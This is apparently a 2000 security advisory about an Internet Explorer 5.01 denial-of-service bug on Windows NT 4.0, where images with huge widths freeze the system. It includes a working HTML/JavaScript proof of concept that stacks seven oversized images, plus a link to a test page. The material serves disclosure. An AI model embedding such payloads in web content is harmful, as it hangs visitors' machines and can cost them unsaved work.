× Few antiviral products inadequately detect 3proxy as Trojan.Daemonize, Backdoor.Daemonize, etc and many detect 3proxy as a PUA (potentially unwanted program). It may cause browser warning on download page. 3proxy is not trojan or backdoor and contains no functionality except described in documentation. Clear explanation of this fact is given, for example, in Microsoft's article.


IE5.01 Frozes system on huge images (20.01.2000)

Reproducability:
Open  http://www.security.nnov.ru/files/ie5hang.asp  to  test
vulnerability (save you data before :)))

I  can  reproduce  this  bug on all PCs with Windows NT 4.0 (SP5-6a) +
IE5,  but  reaction is different. Reaction can probably depend on type
of  video  card/video driver and (possibly) mouse driver or mouse type
(COM  or  PS/2).  In  any case system freezes, but on some boxes mouse
cursor still alive.

Problem description:
It's  possible  to  freeze  operation system for a long amount of time
with  100%  CPU  usage  and  almost  without  reaction  to  user input
(including  Ctrl+Alt+Del for NT). It could be made by displaying image
with  huge  width  and height parameters. It's possible to hang system
for  a  long  time  applying  images  with  few  layers.  It's  almost
impossible to kill IE during this process.

Next html code can be used (it applies 7 layers and freezes my Celeron
333 box for a half or hour. Using javascript is not necessary):

<script>
var MS=navigator.appVersion.indexOf("MSIE");
window.isIE5 = (MS>0) && (parseInt(navigator.appVersion.substring(MS+5,
 MS+6)) >= 5);
if(isIE5){
 alert("Lets have fun!");
 document.write("<img src=\"3APA3A.GIF\" STYLe=\"WIDTH:2999999;
 position:absolute;top:1; left:1;\"><img src=\"3APA3A.GIF\"
 STYLe=\"WIDTH:2999999; position:absolute; top:2; left:2;\">
<img src=\"3APA3A.GIF\" STYLe=\"WIDTH:2999999; position:absolute;
 top:3; left:3;\"<>img src=\"3APA3A.GIF\" STYLe=\"WIDTH:2999999;
 position:absolute; top:4; left:4;\">
<img src=\"3APA3A.GIF\"
 STYLe=\"WIDTH:2999999; position:absolute; top:5; left:5;\">
<img src=\"3APA3A.GIF\" STYLe=\"WIDTH:2999999; position:absolute;
 top:6; left:6;\">
<img src=\"3APA3A.GIF\" STYLe=\"WIDTH:2999999; position:absolute;
 top:7; left:7;\">");
}
else {
        alert("This page must be viewed with MSIE 5");
}
</script>


May  be  this is a problem of graphic subsystem, but i can't reproduce
it with different software.
